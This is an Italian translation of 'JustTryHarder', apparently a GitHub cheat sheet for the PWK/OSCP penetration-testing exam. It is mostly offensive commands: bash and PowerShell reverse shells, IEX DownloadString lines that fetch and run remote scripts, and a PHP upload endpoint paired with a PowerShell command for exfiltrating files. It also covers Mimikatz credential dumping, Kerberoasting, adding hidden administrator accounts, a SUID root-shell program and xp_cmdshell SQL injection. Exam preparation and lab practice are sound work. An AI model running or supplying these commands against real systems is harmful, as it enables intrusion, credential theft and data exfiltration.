
Foglio informativo completo per penetration testing per la preparazione all'esame PWK/OSCP, che copre escalation dei privilegi, cracking delle password, generazione di payload, post-exploitation, scansione delle porte, attacchi web e tecniche di ricognizione.
JustTryHarder è un cheat sheet che ti aiuterà durante il corso PWK e l'esame OSCP.
(Ispirato da PayloadAllTheThings)
Sentiti libero di inviare una Pull Request e lasciare una stella per condividere l'amore se questo ti è stato utile. 💖
Amichevole per Hacktoberfest! Sì, siamo aperti a Pull Request per Hacktoberfest! Assicurati che non sia spam e che contribuisca effettivamente a questo repo. Grazie e buon hacking!
Disclaimer: Nessuno dei seguenti include spoiler per i laboratori PWK / l'esame OSCP.
Ho ottenuto molte di queste informazioni da altri repo Github, blog, siti e altro. Ho cercato di dare il maggior credito possibile al creatore originale. Se non ti ho dato credito, contattami su Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
Il `TTL` può essere usato per determinare il sistema operativo dell'host. I tre diversi tipi di TTL sono mostrati di seguito:
- **TTL=64** = \*nix - Il numero di hop; quindi se ottieni 61, ci sono 3 hop ed è un dispositivo \*nix. Molto probabilmente Linux.
- **TTL=128** = Windows - Di nuovo, se il TTL è 127, l'hop è 1 ed è una macchina Windows.
- **TTL=254** = Solaris/AIX - Se il TTL è 250, il numero di hop è 4 ed è una macchina Solaris.
## BOF (WIP)
(I caratteri tipicamente dannosi includono: `0x00`, `0x0A`, `0x0D`)
- Fuzzing
- Trovare la posizione di EIP
- Trovare i caratteri dannosi
- Localizzare `jmp esp`
- Generare il payload con `msfvenom`
- Ottenere una reverse shell con `netcat`
**Buone risorse per BOF:**
- [NCC Group - Scrivere Exploit per Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Tutorial per la Scrittura di Exploit Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - Buffer Overflow su Windows a 32 bit resi facili](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Breakout / Evasioni Ambientali
- [Pentest Partners - Uscire da Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk Breakout](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS Breakout Keys](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Uscire dall'Ambiente Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Uscire dalle Applicazioni](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Problemi Comuni con i Breakout Ambientali (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix Breakout](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Trasferimenti di Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Trasferimenti di file
### Trasferimento SMB
Sulla macchina vittima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Trasferimento Wget
Come recuperare file dal host (all'interno di una reverse shell).
**Setup:** Posiziona il file che vuoi trasferire in `/var/www/html/` ed esegui `service apache2 start`.
Esegui sul server remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Trasferimento TFTP
(Come trasferire da Kali a Windows).
**Usando MSF:**
Avvia MSF prima di questi passaggi:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**In un terminale:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (da Windows a Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Sessione interattiva:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Senza una sessione PowerShell interattiva (Crea `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**Host locale:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Trasferisci `encoded.b64` al server remoto tramite `nc` o altro.
**Server remoto - Linux:**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Caricamento di file HTTP (Esfiltrazione)
**1. Crea upload.php**
Crea nella webroot della macchina attaccante (`/var/www/html` di default).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Crea directory**
Crea la directory di upload e imposta i permessi appropriati per consentire il caricamento.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Carica file**
Carica file dalla macchina vittima alla macchina attaccante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHP Reverse Shell:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**Iniezione di comandi:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL Injection Cheatsheet](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL Injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## Cracking di password
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## Spruzzatura di password (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Generazione dei Payload
- [NETSEC - Creazione di Payload](https://netsec.ws/?p=331)
- [MsfVenom Cheatsheet](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**Tipi:**
- Non staged: `netcat`
- Staged: `multi/handler`
## PHP
- [Le differenze tra exec(), shell\_exec, system() e passthru()](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)
## Priv Esc - Linux
**Nota:** Se GCC e wget sono installati, il sistema POTREBBE essere vulnerabile a un exploit del kernel.
- [Linux Kernel Exploits](https://github.com/SecWiki/linux-kernel-exploits)
- [GTFObins - Uscire da shell ristrette](https://gtfobins.github.io)
- Script helper GTFO: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
- [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
- [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
- [Scalata dei Privilegi Linux di Base](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
**Comandi di Enumerazione:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**Binario SUID personalizzato:**
Richiede l'esecuzione di codice come utente target. Esempio: mysql sys\_eval come root.```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(){
setuid(geteuid());
system("/bin/bash");
return 0;
}
```
## Priv Esc - Windows
- [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
- [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
- [Powerless - Enumeration Tool](https://github.com/M4ximuss/Powerless)
- [Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop)
- [Just Another Windows (Enum) Script / JAWS](https://github.com/411Hall/JAWS)
- [Watson](https://github.com/rasta-mouse/Watson)
- [Sherlock (Deprecated)](https://github.com/rasta-mouse/Sherlock)
- [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
**Comandi:**
- `churrasco -d "net user /add <username> <password>"`
- `churrasco -d "net localgroup administrators <username> /add"`
- `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`
## Post Exploitation
1. `Mimikatz.exe` (eseguilo)
2. `privilege::debug`
3. `sekurlsa::logonpasswords`
## Port Forwarding
> **Locale:** Inoltra porta locale a host remoto.
> Usa locale se hai un servizio in esecuzione su una macchina raggiungibile dalla macchina remota e vuoi accedervi direttamente dalla macchina locale.
>
> **Remoto:** Inoltra porta remota a host locale.
> Usa remoto se hai un servizio raggiungibile dalla macchina locale e devi renderlo disponibile alla macchina remota. Apre il socket in ascolto sulla macchina in cui hai effettuato l'accesso SSH.
>
> **Dinamico:** Usa SOCKS.
> Dinamico è come locale, ma sul lato client si comporta come un proxy SOCKS. Usalo se devi connetterti con un software che si aspetta un forwarding SOCKS.
### Chisel
**Sistema locale:**```bash
./chisel server -p 8080 --reverse
```
**Vittima:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH
1. **Genera una coppia di chiavi SSH** sulla macchina attraverso cui si effettua il pivot per proteggere le tue credenziali.
<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2. **Copia la chiave pubblica**. Aggiungi questo valore e l'indirizzo IP della pivot machine al file `~/.ssh/authorized_keys` sulla tua macchina attaccante (Kali) usando la sintassi seguente.
<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3. **Assicurati che il servizio SSH sia in esecuzione** sulla tua macchina attaccante (Kali).
<!-- end list -->```bash
sudo service ssh start
```
4. **Inizia la chiamata SSH** dalla macchina attraverso cui si sta effettuando il pivot e specifica la chiave privata `id_rsa` generata nel passaggio 1.
<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5. **Modifica la tua configurazione proxychains**: `/etc/proxychains.conf`
<!-- end list -->```
socks4 127.0.0.1 1080
```
6. **Esegui proxychains**. Quando si esegue la scansione con `nmap`, assicurati di utilizzare scansioni TCP Connect.
<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**Note aggiuntive:**
- `ssh [email protected] -R 1234:127.0.0.1:1234`
- `ssh -D 1337 -q -C -N -f [email protected]` ([Source](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))
## Socks Proxy (usando PowerShell)
**Locale:**
- `vi /etc/proxychains.conf` -\> `socks5 <ip> 9080`
- `Import-Module .\Invoke-SocksProxy.psm1`
- `Invoke-SocksProxy -bindPort 9080`
- `proxychains nmap -sT <ip>`
## Scansione delle porte
### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP
(Può richiedere ore, `netstat` è un'alternativa migliore se hai una shell).```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### Altri Protocolli
**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`
**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`
**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`
**NMAP Bootstrap Report:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Ping Sweep
### Linux (One-liner)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (Script)```bash
for i in `seq 1 255`
do
ping -c1 192.168.125.$i 2>/dev/null 1>&2
if [[ $? -eq 0 ]]
then
echo 192.168.125.$i is up
fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## Pivoting
- `sshuttle -r [email protected] 10.1.1.0/24`
## Desktop remoto
- `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
- `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`
## Responder
- `responder -I tun0 -wrF`
- [Responder con NTLM Relay ed Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
- [Guida pratica al NTLM Relaying](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
## Reverse Shells
**Linux:**
- [PentestMonkey - Cheat Sheet per Reverse Shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [Awansec - Reverse Shell](https://awansec.com/reverse-shell.html)
- [RevShells.com](https://www.revshells.com/)
**Windows:**
- [GitHub - Reverse Shell PHP per Windows](https://github.com/Dhayalanb/windows-php-reverse-shell)
- `nc 10.10.10.10 4444 –e cmd.exe`
## Aggiornamento della Shell
Fonte: [Ropnop Blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTB Forum](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
### Python
1. `python -c 'import pty;spawn("/bin/bash");'` OR `python3 -c 'import pty;spawn("/bin/bash");'`
2. Nella reverse shell:
<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3. In Kali:
<!-- end list -->```bash
stty raw -echo
fg
```
4. Nella reverse shell:
<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Usando Socat
**Ascoltatore:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**Vittima:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl
1. `perl -e 'exec "/bin/sh";'`
2. `perl: exec "/bin/sh";`
### Bash
`/bin/sh -i`
## Iniezione SQL (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## Mostra le porte in ascolto
**Linux netstat:**
`netstat -tulpn | grep LISTEN`
**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`
**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`
**Nmap scan:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)
## SMB - Enumerazione
- [0xdf - Checklist di enumerazione SMB](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
- `smbmap -H 10.10.10.10`
- `smbclient -L 10.0.0.10`
- `smbclient //10.10.10.10/share$`
## SMB - Impacket
**Impacket's PSEXEC** (Dopo aver creato un forward di porta remota):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**SMBServer di Impacket** (per trasferimento file):
1. `cd /usr/share/windows-binaries`
2. `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3. `\\10.10.10.10\a\mimikatz.exe`
## Enumerazione SMTP
- [Comandi SMTP](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)
## Iniezione ICMP
1. `ping -n 3 10.10.10.10`
2. `tcpdump -i tun0 icmp`
## VMware (non a schermo intero)
`systemctl restart open-vm-tools.service`
## Server Web
- `python -m SimpleHTTPServer 80`
- `python3 -m http.server 80`
- `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
- `php -S 0.0.0.0:80`
## Scansione Web
**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**Altri GoBuster:**
- HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
- HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`
**Nikto:**
- HTTP: `nikto -h 10.10.10.10 -p 80`
- HTTPS: `nikto -h 10.10.10.10 -p 443`
**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## Web Shells
- [PHPBash](https://github.com/Arrexel/phpbash)
- [p0wny-shell](https://github.com/flozz/p0wny-shell)
## WordPress
- [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)
## Windows Framework / Powershell
**Bypass della policy di esecuzione di PowerShell:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**Risorse:**
- [Nishang](https://github.com/samratashok/nishang)
- [Sherlock](https://github.com/rasta-mouse/Sherlock)
**PowerShell inverso:**
(Talvolta potrebbe essere necessario anteporre powershell o echo alla stringa, o usare le virgolette).```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp (dal server web locale):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
o```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**Reverse PowerShell using MSSQL:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**Trasferimento di file con PowerShell:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Comandi di post-sfruttamento per Windows```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## Writeable Directories
### Windows
(Fonte: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
Le seguenti cartelle sono per impostazione predefinita scrivibili dagli utenti normali (varia in base alla versione del sistema operativo).```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux
Per trovare directory scrivibili da tutti in Linux:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
## Todo List:
- [ ] Migliorare la leggibilità del cheatsheet
- [ ] Riempire le sezioni vuote
- [ ] Rimuovere le sezioni non necessarie
- [ ] Integrare i file del repository nel cheatsheet
- [ ] Migrare su GitBook
- [ ] Includere screenshot/gif nel cheatsheet se necessario
- [ ] Aggiungere un Indice
## Grazie:
Grazie a queste persone per aver incluso il mio cheatsheet sul loro sito web/blog:
- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [Post Facebook di NCyberSec](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [Post Facebook di CyberG0100](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [Post Reddit di r/CyberSpaceVN](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [Cheatsheet PWK di XN4K](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [Strumenti di Pentesting di OpenSourceLibs](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [Blog BugBountyTips](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [Categoria OSCP di PythonLang](https://pythonlang.dev/category/oscp/)